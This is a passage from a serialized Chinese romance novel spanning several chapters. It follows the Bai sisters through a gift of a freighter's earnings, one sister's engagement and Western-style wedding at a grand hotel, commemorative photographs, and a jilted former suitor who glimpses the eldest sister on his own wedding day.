白瑾瑜从签下了那份让渡合同起, 整个人就是晕晕乎乎的。 好在那货轮说是“送”给她,并不是真就把那庞然大物囫囵一个儿的打包了给她,不过是那艘货轮在使用年限内, 全部的收益都归她所有罢了。即便如此, 那也是一笔源源不断的巨款了。 饶是白瑾瑜这样见过大场面的人都觉得有那么点“受之有愧”, 心想, 这简直不是一句“占了好处”可以一笔带过的, 设若我不和他结婚,我简直觉得自己不应当了! 反倒是孟西洲一副心甘情愿很淡然的样子,等蒋牧城带着白瑾璎两个人回来后又闲谈了一会儿,九点多钟和蒋牧城一道告辞离开。走的时候还拧了拧白瑾瑜挺直的鼻梁, 调侃道:“我还没见过你这副呆呆的样子, 真可爱。” 这话什么意思?他是知道在拿钱砸自己, 把自己砸得恍惚了呢! 大概是两人的关系早已今时不同往日的缘故,白瑾瑜倒不觉得厌恶, 只是为孟西洲话语里透出的逗弄之意感到几分恼怒, 偏偏自己就是着了他的道!想到这里, 把手上的合同重新装回文件袋里, 丢到床头柜上,自己则靠在床头笑叹了一声。 就在她兀自微笑的时候, 房门从外头敲响了两声, 扭开了一条缝。 白瑾璎穿了睡衣探身进来, 问:“你睡了吗?我今晚和你一道睡, 好不好?” 白瑾瑜顿时有些稀奇,不过今天是她的生日,又因为孟西洲的礼物正精神亢奋着,睡不大着, 倒很高兴有个人来陪自己促膝夜谈。当下往旁边挪了挪位置,拍一拍枕头道:“你来。” 白瑾璎扭身关了房门,爬到床上钻进了被窝,又把被子在胸口掖好了,冲白瑾瑜乖巧地一笑。 这样子,真像她们从前在白公馆彻夜长谈的光景。 白瑾瑜忍不住伸出手指在自己这个妹妹的鼻尖上点了一下,说:“蒋牧城今年给我送的礼物格外用心,我猜这里头有你的提点,是不是?” 想不到白瑾璎是很茫然的样子,问:“他送了什么?我看他的礼物年年送到,总不会有差错,所以并没有提点什么。毋宁说,他考虑得比我还要更周全呢。” 白瑾瑜一噎,转而又见白瑾璎抿唇微笑一下,神态中透出一丝羞赧,握了自己的手摇晃着,说:“其实,我是有事要和你说。” 白瑾瑜看她很羞涩的样子,没来由地心里一跳,想:她和我说事,何至于要害羞?那势必是和蒋牧城有关了!于是想到孟西洲说过的“兴许他有大事要求你”,都说男人的思维是相通的,不要真被他说中了,是蒋牧城借了瑾璎这个中间人来求我吧? 她虽然和蒋牧城不大对付,但有一说一,姓蒋的为人绝对不差,对瑾璎也很疼爱,寻常低声下气求人的事,想也不会让她来做。能出动她来做说客的,只能是为了—— 白瑾瑜微微屏住了呼吸,心里已然有了预感。 果然,白瑾璎支吾了一阵,把脸颊贴到白瑾瑜的手背上,抬着水盈盈的眼睛望了她道:“之前去蒋二哥家里,蒋伯父和蒋伯母谈到一点结婚的事,就是、如今爸爸不在了,蒋伯母很想和姐姐你谈一谈呢。” 唉,果真是好大一件事要求她。 与此同时,白瑾瑜又不能不生出一种伤感的喟叹:这一件事,想必蒋牧城早和瑾璎商量过,说好了由她出面,她才来找自己沟通的。想一想从前,但凡有什么重大的决定或秘密,都是她们姐妹俩之间最先商量,再决定要不要告诉别人;如今,她也是成为那个被告诉的“别人”了。 可世事就是这样,瑾璎有了蒋牧城,自己也有了孟西洲,万事万物都在改变。 为着自己舍不得,难道瑾璎永远不结婚吗?不光瑾璎会结婚,瑾琪也要去留洋的呀,小鸟们离巢远去,是很自然的一件事。 白瑾瑜借着枕在胳膊上的姿势磨蹭两下,偷偷把眼角的湿意揩去,貌似轻描淡写地哼了一声:“今年就要结婚吗?呵,也是,蒋牧城年纪不小了,难怪他着急。” 沉默了片刻,终于还是忍不住,凑近了将白瑾璎抱到怀里,闷闷地道:“等你结了婚,咱们可就不住在一起了。” 从白公馆到椿樟街,从小孩长到大人,二十来年的时光,她们一直都是在一起的。此时此刻,便好比身处人生分岔的路口,怎么能没有一点感慨? 白瑾璎恐怕也是如此,好一会儿才“嗯”了一声,轻轻地说:“虽然不住在一起,但至少任何时候,我们都可以见面啊。”又问,“瑾瑜,你不和孟先生结婚吗?我记得他和牧城的年纪一样大,他不着急吗?” 要不是问到最后一句时忍不住扑哧笑了一声,还真以为她是很单纯地疑惑呢。 白瑾瑜本来还沉浸在伤怀里,闻言顿时竖起了眉毛,抱着白瑾璎的手转而在她腰上抓了一把,后者当下就怕痒地尖叫着扭开了。她这才满意地睨着白瑾璎道:“好哇,居然知道替蒋牧城说话了,不过你编排到孟西洲身上,我总是要维护他一下的。” 这样一来,也就把先前惹人伤心的空气,给挥开了。 白瑾璎的父母都已经离世,虽说还有一位舅舅住在国外,但最亲密的家人,莫过于白瑾瑜和白瑾琪了。且都说长姐如母,设若她要结婚,男方那一边找白瑾瑜商量婚事,倒也很合理。 何况蒋兆明夫妇和白瑾瑜是很熟的关系,蒋太太又很积极,早早给白瑾璎的舅舅去了信,没过几天,就约了白瑾瑜出来吃饭。 不说蒋兆明在白齐盛出事时帮了很多忙,就冲着瑾璎和蒋牧城感情很好这一点,白瑾瑜也不可能故意拿乔,反对他们结婚的。蒋太太那一边就更加通情达理了,根本不必白瑾瑜开口,直言结婚的一应事宜,上上下下,都由他们来筹办。 甚至笑说:“现在很多年轻人都嫌办婚礼太繁琐,不愿意费心呢。可是结婚这样大的事,不体体面面地办一场怎么行?瑾瑜,你什么时候结婚?你要是乐意,我也给你全操办了!” 她也算是看着白瑾瑜长大的长辈,哪怕白瑾瑜是最大的姐姐,在她眼里,也还是个小孩哩。 不过和蒋太太谈话的时候,白瑾瑜倒是想到一件事:办婚礼的时候,从哪里接亲呢? 从椿樟路接亲,当然也好,最多房子里活动的空间相对有限,跟着来接亲的宾客需要控制人数罢了。只是思来想去,总感觉到遗憾,在她的设想里,那里应当是白公馆——她们从小生活的地方,承载了最多的回忆,是真正意义上的“家”。 那里的每一处,也都留有白齐盛的身影。 就仿佛爸爸也参与到这一场隆重的仪式之中。 白瑾瑜几乎是立刻就做了决定,预备在婚礼前的一个月,将白公馆重新洒扫收拾出来。 白瑾璎那头还不知道这一件事,倒先给另几桩新闻给震惊了。其一,就是程佩生要回去教育部的事,好在原先请假的孙老师已经回来了,正好可以将工作做一个交接。另一个,就是传播谣言的罪魁祸首,终于给揪了出来。 在面向全体师生的大会上,缪昌平狠狠吃了一记通报批评,一张脸涨成了紫红色,坐在台下一言不发。当天下午就请了病假回家了。 他自己大概也是权衡再三:一方面当着众人的面受了批评,自己在学生面前,可说是威严扫地了,以后还怎么在班上立威?另一方面,白瑾璎已经明说了她要走的,想必学校已经开始物色起新的老师,只是洋文老师不好招,多少需要一点时间。 倒不如自己先下手为强,在这青黄不接的节骨眼上交一个辞呈,校长为着留住自己,总可以有谈条件的余地。 于是第二天,就把一份辞职说明,递到了秦校长的桌面上。 秦校长看了那信一眼,果然没有拆开,而是丢到一边,拧着眉头对缪昌平道:“缪老师,你知道,不是家里有什么大的变故,你在这个紧要关头谈辞职,是很不负责任的表现,往后别的学校在录用你时,也要慎重考虑了。” 缪昌平皮笑肉不笑地一扯嘴角,说:“我也不是非辞职不可,这只是我表达一下自己的意愿。秦校长,我们还可以谈的。” 都说舍不得孩子套不着狼,自己表现得决绝了,对方可不就慌了吗?何况马上就是期末的升学考试了,少一个洋文老师怎么行?是以在缪昌平看来,秦校长向他表示屈服,那是必然的结果。 想不到秦校长竟笑了一笑,说:“好。你既然有这个意愿,那我们校方,也是很愿意尊重的。” 那意思,分明是同意他辞职了! 缪昌平慌得一下坐正了身体,后背跟着冒出一层冷汗,刚想开口说话,只见秦校长从旁边抽出一份资料来,说:“这件事,我还得谢谢程老师,他在申请调回教育部时,就反应了我们学校缺少洋文老师的事。教育部早早开始协调,正好有一位返聘的老教师,经验很丰富不说,教学成绩也不坏,可以先调来我们三中,就是这两天,人就可以到了。” 说着,对缪昌平很客气地一笑:“缪老师,你的学生们知道你要走,大概很舍不得,你也记得好好和他们道一个别。” 听到这里,缪昌平已是面如死灰,把一整个五脏六腑,都给悔青了。 第88章 第 88 章 你小姐又来了,这一次拍…… 白瑾璎和蒋牧城的婚期, 最终定在六月中。这个时间,往往天气很好,阳光暖洋洋的却也不顶热。并且升学考试也结束了, 可以卸下一个大担子, 欢欢喜喜地结婚。 在这期间, 事情当然发生不少。头一件大事, 就是白瑾琪终于通过了艺术留学生的考核, 等着秋天就可以去英国了。 在她自己,简直高兴得要发疯了。又因为要去学的是自己热爱的舞台表演,生怕自己的洋文水平太差,听不懂课不说, 还叫人看了笑话, 竟一点也没有懈怠, 继续勤勤恳恳的读她的外文小说,试图通过有意思的爱情故事, 把洋文的墨水再灌一点进肚子。 另一边, 这消息在清江大学也不胫而走。同学们羡慕的有之, 恭喜的有之, 但因为众人都看过她的表演,知道她实在是艺术上的一颗新星;又或者是程巧书实在怕了她, 不敢再兴风作浪的缘故, 总之这一次, 学校里倒没有出现什么协枪带棍反对她的负面言论。 话剧社就更不必说了, 白瑾琪简直受到了众星捧月般的待遇。 这是什么人物?这可是社长亲自公开致歉过的人物哩!又致歉事件过后,郑家树对她总有种幽幽怨怨的不敢靠近,这就给人以示弱的印象,显得社长的声望人气, 都要被白瑾琪给盖过了。 相比于白瑾琪的张扬高调,白瑾璎和蒋牧城这一对新人,就低调稳重得多。 缪昌平一走,第三中学里的空气都像是清新很多似的,让人在精神上就舒坦不少。新来的返聘教师虽然年纪大一点,但正因为年纪大,经验和耐心都很足够,水平更是高出缪昌平一大截。 没了缪昌平隔三差五地找不痛快,也不必被人再三催促着要教案,白瑾璎的工作轻松不少,也能腾出手来处理一些结婚相关的事宜。 求婚的钻石戒指,蒋牧城已经送过了,那就缺一对结婚用的对戒。两人去洋货行订好后,顺道又去西式的婚纱店量体裁衣,西式婚纱的工艺虽然繁复,按六月的婚期来算,时间也尽够了。 结婚照却得单独挑一天来拍。 拍照的那天,白瑾璎莫名有些紧张,叫了白瑾瑜来做陪伴和参谋。想不到白瑾琪出于好奇和凑热闹的心思,也一道跟了过来。等到未婚夫妻收拾妥当开始照相了,不同于白瑾瑜很识相地坐去了外间,白瑾琪非但留在里间不走,还凑得格外近,好似做学问一般。 这对她来说,无疑就是一门学问哩! 设若她往后果真从事演艺事业,不说广告画报,总要为舞台剧或电影拍画报的吧?这间照相馆是全首都最好的,那末布景设备和技术,想必也是最顶尖的了,这还不值得她旁观着学习一二吗? 但为着她一动不动地杵在原地,又目光如炬地盯了自己看的缘故,白瑾璎紧张得不是一点半点。 刚露出一个微笑,那边白瑾琪便摸着下巴,像是评判员似的发出啧啧声,嘀咕道:“真漂亮,这个角度尤其好看。”这微笑也就维持不下去了。更不要说和蒋牧城有什么亲密的动作,她局促得手都不知往哪里放才好。 最后还是蒋牧城受不了,把这个小烦人精“请”了出去,结婚照的拍摄才得以推进下去。 白瑾琪虽然失去了观摩的机会,但却很受感触似的,等白瑾璎换好了衣服出来,三人一道坐车回家的路上,忽而道:“咱们三个也来照相馆拍几张合照吧?” 见两个姐姐望向自己,白瑾瑜更是一副“你又要闹什么幺蛾子”的神态,当下挺着胸膛据理力争起来:“做什么这样看我?我们三个,还没有过合照呢!何况我就要留洋去了,你们再想见我,可就见不到了。不应当拍几张相片留作纪念吗?” 又很骄傲地抬着小巧的下巴道:“这次拍照,我来付钱。我人虽在英国,你们也不要忘记还有我这个小妹妹啊。” 白瑾璎忍不住扑哧笑了一声,抿着笑看向白瑾瑜,后者也感到很新鲜似的,扬着眉梢道:“哟,难得你要掏钱,我们怎么能不赏光?不过先说好,我拍照只去大北照相馆,别的地方,我是看不上的。” 大北照相馆,也就是今天拍结婚照的这一间了,拍得确实好,价格也是在不便宜。 白瑾琪盘算着自己攒下的仨瓜俩枣,很有点视死如归的气势,咬牙道:“行!贵就贵一点!别的照相馆要是把我照得丑了,我还不乐意呢!” 这一下,连白瑾瑜都不由地笑起来,这件事,很快就算说定了。 到了照相那一天,白瑾琪起初也很兴奋,穿了一身很娇俏美丽的洋装不说,还要求相片子里,势必要有一张自己坐在中间的。这是小事一桩,两个姐姐很乐意哄着她,可等到拍完了,她反倒伤感起来,幽幽地说:“我真要去英国了吗?我、我突然有些害怕,我还从没试过离家这么远、这么久” 一双黑葡萄似的眼睛可怜兮兮地望一眼白瑾瑜,又去看白瑾璎。 最初的兴奋劲儿过了,对于未知的事,人会打起退堂鼓,那也很正常。白瑾瑜冲她微笑一下,道:“没什么可害怕的,你从前也总说自己念书差,可这次的留学生考试,你不也通过了吗?从前没试过的事,未必就做不好呀。” 又故意佯装轻快地说:“我反而担心,国外开放的风气正和你的轻狂性格相得益彰,你过去一待,乐不思蜀,根本不愿意回来了。”白瑾琪这才稍稍放松了一点。 然而相片事件还没有结束。这一天,恰好是孟西洲过来接人,看到司机将车停在大北相片馆的门口,眸光便有一瞬间的幽沉。 这段时日,因为白瑾璎那边正一步步筹办婚礼的缘故,白瑾瑜在和他的闲聊中,多少会说起一点。说者无心听者有意,孟西洲本来对于结婚这件事是不着急的,可恨受到这样外部的刺激,也逐渐生出一点心焦。 蒋先生那边订的对戒送到了,结婚相片洗好了,春华大饭店正和蒋太太确定最终的日程和酒席,哦,据说书店把空白喜帖也送来了 真要算起来,自己和瑾瑜不是交往得更早吗? 自然,结婚这件事要尊重女士的意愿,可别人若是两厢比较起来,岂不显得自己落后太多?这就让人心里不大痛快了,并且,孟西洲也不否认,自己有那么一点羡慕的情绪。 于是在把白瑾瑜接回公馆后(白瑾琪缠着白瑾璎去看一场外国原声电影),故意坐在卧室的沙发上,久久地望着床头柜,道:“你看,那里空落落的,是不是正缺一张相片?” 白瑾瑜起初没听出他的弦外之音,好笑道:“你没有相片吗?随便选一张摆上,不就好了?” 孟西洲显然不大满意,但目光触及双人床上并排放着的两个枕头,又神秘地微笑起来,说:“只摆我一个人的吗?这张床上还睡过另一个人,我怎么能不顾及她?何况摆在床头的东西,我每一晚都能看见,睁开眼也要看见的,我看我自己,那不吓人吗?” 这一下白瑾瑜听明白了。不过对于他这样暗戳戳提出的要求,并没有明确的表示,只是目光带笑地瞥了他一眼,手指点了点他挺直的鼻梁道:“哪里吓人了?多么清俊一位先生。” 一触即收,轻飘飘地走开了。 然孟西洲也不是轻易放弃的人。第二天一早,见白瑾瑜换了一身浅灰色的新套装,又说:“这身衣服倒很好看,不拍一张相片留作纪念,太可惜了。”见白瑾瑜又好笑又好气地瞪着自己,又抿了口茶,很无辜地一笑。 像这样话里有话,几次下来,白瑾瑜到底投降了,捧了孟西洲的脸摇晃着道:“我怎么不知道,你这么喜欢照相?” 孟西洲顺势握了她两手的手腕,统统按向自己怀里,反问道:“我们是什么关系?到现在没有一张合照,你说,这像话吗?”又补充,“一定要是合照,不是合照,不足以看出我们的亲密。” 白瑾瑜并不是反对照相,只是最近因为各种缘由,短时间内已进出大北照相馆两次了,再去一次,未免让人觉得自己太“忙”。 可是想一想孟西洲,人家连远洋的货船都可以送你,你却连一张相片都不愿和人家拍吗?那真显得你对他,有一点苛待了。没有办法,只得答应下来。 第三次去大北相片馆时,果然被人认了出来。那大厅的经理笑嘻嘻地道:“你小姐又来了,多谢您关照我们的生意。这一次拍什么呢?” 白瑾瑜无奈地一笑:“家里的妹妹多,这个要结婚那个要留洋,都赶在一起拍纪念照。今天么——” 还不等她说完,孟西洲便接话道:“因为贵馆照相技术很好,相片洗得也很清晰,所以今天专程再来拍一套。”牵了白瑾瑜的手冲她一笑,“正好我们恋爱也满一年多了,很应当拍张相片作纪念。” 那经理是多么八面玲珑的人物,当下舌灿如莲道:“啊呀!可见你小姐生活和爱情都很美满,这是值得恭喜的事啊!来,来,先生小姐快请进!” 不管怎样说,在终日听着别人的婚礼进程的日子里,孟先生总算也完成了一件自己的心愿了。 第89章 第 89 章 忙忙碌碌之间,也就迎来…… 小的心愿虽然可以达成, 但要赶在蒋牧城和白瑾璎的前头直接结婚,那是绝不能够的。 孟西洲虽然最初的时候,多多少少有一点艳羡, 但随着那两位婚期的推进, 看着白瑾瑜忙前忙后却显然很乐在其中的样子, 倒渐渐把自己的情结放下了, 真等到婚礼到来的那一天, 竟是以难得畅快的好心情去参加的。 白公馆一个月前就收拾了出来,白瑾瑜便带了一家人住了回去,预备在婚礼当天,让蒋牧城来白公馆接亲;再有就是, 白公馆到底地方宽敞又气派体面, 许多亲眷朋友想要在接亲的时候热闹一下的, 也能容纳得下,横竖公馆里人手齐备, 可以将客人照顾得很好。 回去白公馆的那一天, 先前留下照看房子的门房和园丁都赶到大门口来迎接。 那门房也是白家的老人了, 很激动地道:“啊呀, 小姐们果真回来了!之前大小姐挂来电话,说会有人过来打扫屋子, 我这心里还七上八下的不安定, 想不到真有这重聚的一天呀!快请进!请进!” 虞妈听了这话, 眼睛当下红了一圈, 拿出手绢在眼角按了两下。扬着笑脸对白瑾瑜道:“大小姐,来,你可得走在第一个。” 推开公馆的大门,里头一切如旧, 因为新近打扫过的缘故,连木质的角柜都干净得转着光泽。吴妈和阿苗是去了椿樟街后新雇的佣人,莫不是瞪大了眼睛瞧着这气派的屋子。除了她二人外,公馆里也临时聘了好些听差佣人,以应对六月份的婚礼。 那之后就是婚礼的陈设了。 鲜花当然少不了,除了大门和洋房前的花园,屋里也需要装饰上。还要更换红色的地毯窗帘,因为新娘并不在家里过夜,卧室的床铺倒不必拘泥,盖一条漂亮的红色刺绣毯子就不错——白瑾璎最初看到时很有些难为情,但不出几天也就习惯了。 白瑾琪则坚持要在阳台和花园里缀上彩色的小电灯,等天暗一点的时候打开,像闪着五彩的小星星似的,很有新人之间罗曼蒂克的气氛。 这样一通布置了几天,忙忙碌碌之间,也就迎来了正式的婚礼。 婚纱是早几天就送到的,这天一早,便有女佣人伺候白瑾璎换了雪白的婚纱裙,又戴了头纱和茉莉花排。戴好耳环后,白瑾璎对着镜子里的自己微笑一下,又把那条很具有纪念意义的珍珠项链给戴上了。 另一个房间里,白瑾琪因为担任着今天的傧相,捯饬好自己后便想去看看新娘子。一扭开白瑾璎的房门,恰逢早晨的阳光透过落地窗子照在新娘的身上,令人有一瞬间的恍惚,忍不住倒吸一口气赞叹道:“啊呀,你真像戏剧里的神女哩!” 一双眼睛,根本舍不得从白瑾璎身上移开。 再说楼下,孟西洲作为新娘姐姐很亲密的男伴,一大早便过来帮忙了。 现场未必真有需要他帮忙的地方,但一来,凡是和白瑾瑜见面,他向来是很积极的;再者,在如此盛大的日子里,白瑾瑜想必从早到晚都要招待宾客,自己站在她身边,未必不是一种对彼此关系的宣告。 譬如现在,客人们尚还没有盈门,白瑾瑜正忙着接人家的恭贺电话,大多是白齐盛生前的同僚们,因为工作缘故赶不回北京,人虽没有到,礼物和祝贺总是要到的。 孟西洲被女友指派了校对礼品单的工作,可他办事的效率是很高的,很快就没有事做了,便坐到一边,将白瑾瑜的左手握到手里把玩着。见她戴了自己送的钻戒,心里很感到高兴,手指捏着那枚戒指轻轻转动两下,倏地将那钻戒由中指脱出来,戴到了白瑾瑜的无名指上。 他大概是出于一种愿望做了这一件事,料想白瑾瑜发现后,会狎促地瞪他一眼说“你又来了”,借着这一句话作为开头,和她亲昵地说说话也不错。 想不到白瑾瑜光顾着讲电话,根本也没注意到这件小事。等她终于将电话挂断的时候,听差又来递话,说瑾璎小姐大学里几个要好的女同学已经登门了,于是白瑾瑜也就站起身来,直接迎客人去了。 在孟西洲那里,当然也就错失了提醒她的机会。不过想到这一整天,兴许这枚钻戒就是被戴在无名指上了,正好切中他的心愿,干脆微笑着不再开口,体味沉默的魅力。 在新郎那一边,蒋牧城大概也急于见到新娘,不到十点钟,洋车便列队登门了。他请了两位身形挺拔的大学同学作男傧相,一下车便走在前头,给客人们派发红包,望他们不要拦路。 这是很有诚意的表示,又两边的朋友都是客气文明的人,即便有爱热闹的人想要逗趣,那也很知道分寸。 最终只让这一对新人互叫了爱称,抛了一次花瓣彩纸,又端来一个精致的小瓷盘,装了两颗红枣请他们吃,算作一个有趣的祝贺。 今天是蒋牧城大喜的日子,别人让他做什么,只要不过分,他都不会拒绝。故而一点也不扭捏,爽快地拿起一颗自己吃了,又马上伸手拿另一颗,喂进白瑾璎的嘴里。同时那手就候在白瑾璎的唇边,等着她把枣核吐出来。 这样一个亲密的动作,当然引得在场的年轻客人们起了一会儿哄,然看到新郎新娘是彼此很爱护团结的样子,也就乐得成全他们,嬉闹着将他们送上了婚车。剩下则是各自结伴,选后头的车子坐。 婚礼的场地定在春华大饭店,这一队的洋车,就是要将女方这一边的宾客都载过去的。 但又怕有人来得晚了没赶上,便按照先前约定好的,由白瑾瑜和孟西洲留下殿后,晚半个钟头出发。设若这段时间里再有人来,则坐他们俩的洋车一并带到饭店来。 闹哄哄的人一走,屋子里一下安静不少。虞妈瞧着地上抛洒下来的彩纸,心里还激动地咚咚跳,说:“瑾璎小姐算得不爱交际了,几个朋友一来,也这样热闹。瑾瑜小姐的朋友更是多了去了,等到你结婚的时候,不知道要热闹成什么样子哩!” 偏偏孟西洲还在旁边帮腔:“那怎么办?我这里的朋友也多,不过好在一半都在国外,我家里人和亲戚也都在国外定居,不如首都和英国各办一场好了?” 白瑾瑜虽然知道这还是没影的事,但因为今天心情很好,也就不去反驳,甚至还调侃了一句:“那末,是先在首都办呢?还是先去英国办呢?会不会等到第二场,因为新鲜劲已经过了,就没有兴致了呢?” 孟西洲就微笑着看向她,眼里多少带了点邪气,道:“场地和客人都不一样,怎么会没有新鲜劲?你要把新郎也换掉吗?那是不能够了。” 虞妈看他们一聊上天就是很好的气氛,便微笑着,默默地退到了客厅外。 好在这半个钟头里并没有别的人来,于是一到时间,孟西洲便带了白瑾瑜和虞妈,开车前往春华大饭店汇合。 今天的春华大饭店可谓是盛况空前。蒋牧城将整个二楼和带跳舞池和露台的三楼都包了下来办婚礼,一走上二楼,大厅里先就有一支西洋乐队奏着优美的音乐。地毯窗帘一盖都换了新的,头顶的水晶大吊灯也擦得干干净净,显得那灯光格外的通透璀璨,更不要说各处陈设的鲜花彩绸,将那喜庆隆重的气氛烘托到了极点。 一楼虽然照常接待着普通客人来吃饭,但对于今天来的客人,都会赠一盒朱古力糖,也算是博一个“同喜”的意思。 然而无巧不成书,在和春华大饭店隔了一条街的古京饭店里,今天也在办一场结婚仪式。新娘系教育部某处长的千金,新郎则在某洋车行任经理,也算年轻有为了。 介绍到这里,您们应当也猜到是谁了吧? 柳家二老虽然不晓得今天是谁在春华大饭店里结婚,但对于春华大饭店早早受了别人预约这一件事,心里实在是松了一口气的。 原来那处长千金先前点名了也想在春华办婚礼,那花费可就不一般了呀!告诉她饭店早被人约走的时候,那小姐还耍了一通脾气,说:“偌大一个春华大饭店,好几个礼堂和宴客厅呢,难道都被约走了吗?不要是冤我的吧!” 后来请自己的处长父亲亲自去打听,才知道是海关衙门的副总长要结婚,并且极力地往隆重里去办。 那小姐倒也知道自己家的斤两,纵然不大甘心,也没法和人家副总长去争;何况这一天又是今年里头最宜婚嫁的好日子,她舍不得换日子,只好退而求其次地换掉饭店。 挑来挑去,挑中了古京饭店。虽不是顶好,大体上也算满意了。 再说柳世新,和白瑾瑜分手之后,就和失掉了魂似的,对什么都不大上心,即便是自己的结婚仪式,也并不表示出热切。又因为两边住得远,流程上也就简化许多,将车行租赁的车子分作两拨,一拨直接去新娘那里接人,另一半则负责自己这边的亲戚朋友。 柳世新坐在车子里,对于自己结婚这件事,心里很没有实感。 直到现在还在想着:设若我没有受母亲的挑唆,没有因为这一念之差而和瑾瑜分开,现在迈入婚礼殿堂的,未必不是我和她呀!同时浑浑噩噩地,将视线投注于窗外。 这一看可了不得!前头远远停着一辆洋车,由那车子里下来的,不正是自己心里想的人吗? 一时之间,竟分不清这是真实的,还是自己想她想得发疯,已然魔怔了。 第90章 第 90 章 用印之后,即代表两人正…… 白瑾瑜从前就漂亮, 像是一颗夜明珠,总是人群里头最亮眼的那一个。 柳世新多少觉得因为白总长的死,白瑾瑜会更憔悴的, 可时隔这许久再见到她, 她似乎一点没有变。不, 她分明是更美了, 这种变化很难去说清, 像是一种由内在透出的感觉,硬要用言语去概述的话,就是更从容优雅,也更沉稳了。 时光如箭, 经过这许多的事, 谁不是变得更沉稳了呢?我也是呀, 时至今日,我才明白了自己真爱什么、真想要什么。 柳世新忽而生出一些同病相怜的感叹, 遥遥地望着白瑾瑜时, 竟觉得感受到了心灵上的共鸣。可下一秒, 就被她手上的一个亮点刺痛了眼睛。 她的无名指上戴着戒指呢!她竟然结婚了! 柳世新先是觉得不可思议, 要白瑾瑜去结婚,那简直比登天还难!想想他们曾经三年多的感情, 几乎已走到谈婚论嫁的那一步了, 为着自己说错几句话, 她就可以说抛下就抛下, 怎么会轻易就结了婚? 一时间,他的脑子里已浮现出了一幕幕为生活所迫的无奈情节。 再看白瑾瑜那一身穿戴,怎么看都是贵气逼人,然而这可能吗?没了白齐盛在背后撑腰, 凭她一个小小女子,真能过得如此富贵体面? 柳世新又是立刻在心里给了个否定的回答,同时心想:瑾瑜绝不是愿意巴结讨好的女子,我了解她!只是她的责任心很重是呀,责任心!她是家里的老大,底下还有两个柔弱的妹妹,她能怎么办呢?她如今的丈夫,势必就趁虚而入了! 这样一想,白瑾瑜此刻的一切情状就很合理了。 柳世新自诩很懂她,似乎已透过她华美的衣裙,窥见了底下那痛苦的灵魂:瑾瑜如今,是被困在金笼子里的天鹅呢!而我此刻遇到她,真不是上天给我的一种再续前缘的启示吗? 这一次,我总要听我自己的,诚实地去追求我的所爱!我、我还要救她脱出苦海! 这一系列的思索只发生在短短的几秒之间,几乎在下定了决心的瞬间,柳世新便冲口而出道:“停车!” 开车的司机被新郎突然冒出的一句话吓了一跳,看一看时间,距离去饭店汇合的吉时不差多少了,何必停车?然他是受雇于人的人,没有不听雇主话的道理,只好靠着路边将车停了下来。 就在这停车的几秒钟里,那一边,又发生了变化。 白瑾瑜从后座里搀了虞妈出来,同时望向车前座,露出一个很明媚的笑容来。任凭柳世新再怎么编造故事骗自己,也不得不承认,那实在是个发自真心的欢喜的笑脸。 紧跟着车前座的门便打开了,那里头是谁?柳世新一瞬不瞬地死死盯着,脸色霎时灰败下来。 孟西洲潇洒利落地下了车,几乎在站正了身体的同时便牵了一下白瑾瑜的手,彼此微笑着说了几句话后,将手臂揽在她背后做一个保护的姿势,带着白瑾瑜和虞妈往前走了。 竟然是他!竟真是他! 柳世新眦目欲裂。他老早就觉得这姓孟的对瑾瑜心术不正了,借着和自己同僚之便硬是挤进他们的聚会,以此接近瑾瑜,总说什么交情交情,实际工作上待自己,哪儿有什么交情可言啊!果然自己和瑾瑜一分手,他就后来居上了! 小人!真是小人! 可同时的,那一颗盼望着破镜重圆的心,又狠狠地沉了下去。 姓孟的得偿所愿了,怎么会放手?自己不慎将这一颗明珠丢了,喜爱之人眼巴巴地守在后头将它捡了,怎会不像对待眼珠子一般地爱护它?这样看来,那枚结婚钻戒,就是姓孟的送的了。 柳世新顿时觉得嘴里发苦,心里也翻滚起又恨又妒的酸液。回想自己方才杜撰的那一连串迫于无奈的悲剧,什么被困的天鹅,真好像笑话一样,虽然是没人知道的内心的活动,却好似被扇了几个耳光一般,脸上火辣辣地发着烫。 自己还想着下车去见她呢,好在还没有付诸行动,不然,岂不更显得自己狼狈可笑? 至此,所有的冲动都被兜头浇灭了,只剩下不为人知的窝火和难堪。搭在车门上的手也好似给烫着了,恨恨地往回一收,又甩了两下。 偏偏一扭头,正撞上司机疑惑的眼神,也不知他看着自己有多久了,是否窥破了他愚昧的自作多情,顿时面皮涨红,恼羞成怒道:“开车!磨磨蹭蹭什么?快开车!” 那司机真是无妄之灾,从没见过这样的新郎官,一会儿让停车一会儿让开车,真是失心疯了不成!骂又骂不得,只得从鼻子里哼出一口气,悻悻地重新将汽车发动起来。 一片愁云惨淡地,带着一个阴晴不定的柳世新,往那闹哄哄的古京饭店而去。 而在春华大饭店这边,结婚仪式已经热热闹闹地开始了。 宾客们在大礼堂里一排排地落座,看着这一对漂亮的新人携着手慢慢往最前头的台子上走,在新郎新娘经过的时候,不断有人鼓动着掌声,坐在过道两侧的人,则将手里的彩纸向他们抛撒着。 婚礼的证婚人是蒋兆明,虽是新郎的父亲,但作为看着二人长大的长辈来担此重任,也是很合宜的。 由证婚人念完婚书后,就是新郎新娘在婚书上用印了,印章盖完,即代表两人正式地结为夫妻。用印之后,就是主婚人致谢词的环节,这位主婚人请得也是妙极,正是教育部举办交流会时,由蒋牧城介绍给白瑾璎认识的翻译学家! 他倒是很乐见年轻人结成眷侣的性格,蒋牧城一请,他便欣欣然地来了。 同时又十分的妙语连珠,称赞新娘“秀外慧中,在学问上有很深的造诣”,转而又调侃新郎“冷峻的面貌之下,实则是心怀柔情”,把台下的来宾,给逗笑了不少。 这里头最乐的,就要数余佰了。他真想不到,沾光受了白小姐的婚礼邀请,可以见到这许多的大人物啊! 更可喜的是,他今天阴差阳错,竟带了一盒子名片! 趁着致辞结束,饭店的听差们将一众宾客引去宴会厅的间隙,当下就给那翻译家呈上一张,表示了自己并报社对他的敬仰。那老先生倒是很和气的样子,笑嘻嘻地收下了。余佰本来也没想强求,哪怕人家贵人事忙,回去就把名片丢开了,自己也混到一个脸熟了呀! 更不要说去到宴会厅的酒席上,自己还被安排在了新娘同事的一桌,那桌上还有一位女校长哩! 余佰依样给她递了一张名片,道:“秦校长,幸会幸会。敝人就职的报社,最近正准备筹办一个教育相关的专栏,到时候,请秦校长一定不吝赐教啊。要我说,教育和新闻宣传,是很应该多多结合,相互促进的!” 秦校长也微笑着接了名片,道:“不敢说赐教,有合作的话,我是很乐见其成的。” 余佰又恭维几句,再和桌上的其他老师打招呼。一圈下来,竟看见一个年纪很轻的少年也坐在这里,“咦”了一声问:“小友也是贵校的老师不成?” 旁边的吴老师笑着接话道:“他现在虽不是老师,往后可说不准呢!你不要小看他,他的洋文很好,是我们新娘子的得意门生哩!” 